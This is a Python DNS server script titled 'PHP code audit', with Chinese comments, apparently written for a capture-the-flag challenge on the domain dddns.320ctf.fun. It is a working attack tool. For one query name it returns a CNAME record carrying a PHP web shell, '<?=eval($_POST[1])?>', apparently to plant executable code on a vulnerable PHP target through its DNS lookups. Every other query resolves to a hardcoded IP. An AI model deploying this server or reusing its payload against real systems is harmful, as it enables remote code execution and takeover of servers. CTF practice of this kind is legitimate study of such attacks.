php 代码审计

# coding=utf-8
"""
LICENSE http://www.apache.org/licenses/LICENSE-2.0
"""
import datetime
import sys
import time
import threading
import traceback
import socketserver
from dnslib import *
import binascii  # 用于处理十六进制编码和解码


# 定义基本域名和 IP 地址
TTL = 60 * 5  # 定义生存时间 (TTL)，单位为秒


# 处理 DNS 请求，生成响应
def dns_response(data):
    # 解析请求数据
    request = DNSRecord.parse(data)

    print(request)  # 打印请求内容

    # 创建回复报文，带上请求头的 ID 和相关信息
    reply = DNSRecord(DNSHeader(id=request.header.id, qr=1, aa=1, ra=1), q=request.q)

    # 获取请求的域名和类型
    qname = request.q.qname
    qn = str(qname)  # 转换为字符串形式
    qtype = request.q.qtype
    qt = QTYPE[qtype]  # 请求的类型（如 A、NS 等）

    # 检查请求的域名是否匹配
    if qn.startswith('aaa.dddns.320ctf.fun'):
       rdata = CNAME('<?=eval($_POST[1])?>.dddns.320ctf.fun')
       reply.add_answer(RR(rname=qname, rtype=5, rclass=1, ttl=TTL, rdata=rdata))
    else:
       rdata = A('81.71.96.92')
       reply.add_answer(RR(rname=qname, rtype=1, rclass=1, ttl=TTL, rdata=rdata))

    print("---- Reply:\n", reply)  # 打印回复内容

    return reply.pack()  # 返回打包后的 DNS 响应


# 定义通用的请求处理类，提供获取和发送数据的抽象方法
class BaseRequestHandler(socketserver.BaseRequestHandler):

    def get_data(self):
        raise NotImplementedError

    def send_data(self, data):
        raise NotImplementedError

    def handle(self):
        # 获取当前时间
        now = datetime.datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S.%f')
        print("\n\n%s request %s (%s %s):" % (self.__class__.__name__[:3], now, self.client_address[0],
                                               self.client_address[1]))
        try:
            # 处理收到的 DNS 请求数据
            data = self.get_data()
            print(len(data), binascii.hexlify(data))  # 使用 binascii 进行十六进制编码输出
            # 发送 DNS 响应
            self.send_data(dns_response(data))
        except Exception:
            # 如果出现错误，打印错误信息
            traceback.print_exc(file=sys.stderr)


# 定义 TCP 请求处理类
class TCPRequestHandler(BaseRequestHandler):

    def get_data(self):
        # 接收 TCP 数据并检查长度
        data = self.request.recv(8192).strip()
        sz = int(binascii.hexlify(data[:2]), 16)  # 使用 binascii 进行十六进制解码
        if sz < len(data) - 2:
            raise Exception("Wrong size of TCP packet")  # 如果数据长度错误，抛出异常
        elif sz > len(data) - 2:
            raise Exception("Too big TCP packet")  # 如果数据过大，抛出异常
        return data[2:]

    def send_data(self, data):
        # 发送 TCP 数据时，先将数据长度编码为 16 进制并发送
        sz = binascii.unhexlify(hex(len(data))[2:].zfill(4))  # 使用 binascii 将长度转换为 16 进制
        return self.request.sendall(sz + data)


# 定义 UDP 请求处理类
class UDPRequestHandler(BaseRequestHandler):

    def get_data(self):
        # 直接返回接收到的 UDP 数据
        return self.request[0].strip()

    def send_data(self, data):
        # 发送 UDP 响应数据
        return self.request[1].sendto(data, self.client_address)


# 主程序入口
if __name__ == '__main__':
    print("Starting nameserver...")

    # 创建 TCP 和 UDP 服务器，监听指定端口
    servers = [
        socketserver.ThreadingUDPServer(('', 53), UDPRequestHandler),
        socketserver.ThreadingTCPServer(('', 53), TCPRequestHandler),
    ]
    # 为每个服务器创建一个线程并启动
    for s in servers:
        thread = threading.Thread(target=s.serve_forever)  # 服务器线程将为每个请求创建新线程
        thread.daemon = True  # 主线程退出时自动终止服务器线程
        thread.start()
        print("%s server loop running in thread: %s" % (s.RequestHandlerClass.__name__[:3], thread.name))

    # 主线程保持运行，直到手动终止
    try:
        while 1:
            time.sleep(1)  # 每秒输出一次状态
            sys.stderr.flush()  # 刷新标准错误输出
            sys.stdout.flush()  # 刷新标准输出

    except KeyboardInterrupt:
        pass  # 捕获 Ctrl+C 中断
    finally:
        # 停止服务器
        for s in servers:
            s.shutdown()